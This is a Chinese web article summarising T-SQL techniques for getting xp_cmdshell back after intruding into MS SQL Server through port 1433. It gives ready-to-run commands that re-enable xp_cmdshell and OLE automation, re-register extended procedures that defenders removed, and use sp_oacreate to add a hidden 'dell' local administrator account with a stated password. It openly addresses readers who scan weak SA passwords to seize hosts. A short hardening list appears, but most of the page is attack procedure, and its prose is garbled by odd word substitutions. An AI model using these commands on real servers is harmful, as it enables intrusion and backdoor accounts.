程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> MSSQL >> SQL入侵恢復xp_cmdshell辦法總結

SQL入侵恢復xp_cmdshell辦法總結

編輯:MSSQL

SQL入侵恢復xp_cmdshell辦法總結。本站提示廣大學習愛好者:(SQL入侵恢復xp_cmdshell辦法總結)文章只能為提供參考,不一定能成為您想要的結果。以下是SQL入侵恢復xp_cmdshell辦法總結正文


1433 SQL入侵恢復xp_cmdshell辦法總結
sql server 2005下開啟xp_cmdshell的方法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005開啟'OPENROWSET'支撐的辦法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005開啟'sp_oacreate'支撐的辦法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

沖破SA的各類艱苦
罕見情形恢復履行xp_cmdshell
1 未能找到存儲進程'master..xpcmdshell'.
恢復辦法:查詢分別器銜接後,
第一步履行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步履行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵敕令履行終了
2 沒法裝載 DLL xpsql70.dll 或該DLL所援用的某一 DLL。緣由126(找不到指定模塊。)
恢復辦法:查詢分別器銜接後,
第一步履行:sp_dropextendedproc "xp_cmdshell"
第二步履行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵敕令履行終了
3 沒法在庫 xpweb70.dll 中找到函數 xp_cmdshell。緣由: 127(找不到指定的法式。)
恢復辦法:查詢分別器銜接後,
第一步履行:exec sp_dropextendedproc 'xp_cmdshell'
第二步履行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然後按F5鍵敕令履行終了
四.最終辦法.
假如以上辦法均弗成恢復,請測驗考試用上面的方法直接添加帳戶:
查詢分別器銜接後,
2000servser體系:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'

xp或2003server體系:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

--------------
xp_cmdshell新的恢復方法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

恢復
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

如許可以直接恢復,不消去管sp_addextendedproc是否是存在
-----------------------------
刪除擴大存儲過進程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'

恢復cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

開啟cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

斷定存儲擴大能否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
前往成果為1就ok
恢復xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
前往成果為1就ok
不然上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql語句
sp_dropextendedproc "xp_cmdshell
----------------
刪除sql風險存儲:

DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc

/*不狐 附上恢復擴大存儲進程的方法

先恢復sp_addextendedproc,語句以下:
SQL代碼:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

再恢復以上一切擴大存儲進程
SQL代碼:

use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'

SQL Server 阻攔了對組件 'xp_cmdshell' 的 進程'sys.xp_cmdshell' 的拜訪,由於此組件已作為此辦事器平安設置裝備擺設的一部門而被封閉。體系治理員可以經由過程應用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的具體信息,請參閱 SQL Server 聯機叢書中的 "核心運用設置裝備擺設器"。
常常掃SQL弱口令肉雞的同伙應當碰見過如許的成績 !
接上去我們用SQL語句弄定他
剖析器履行的語句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved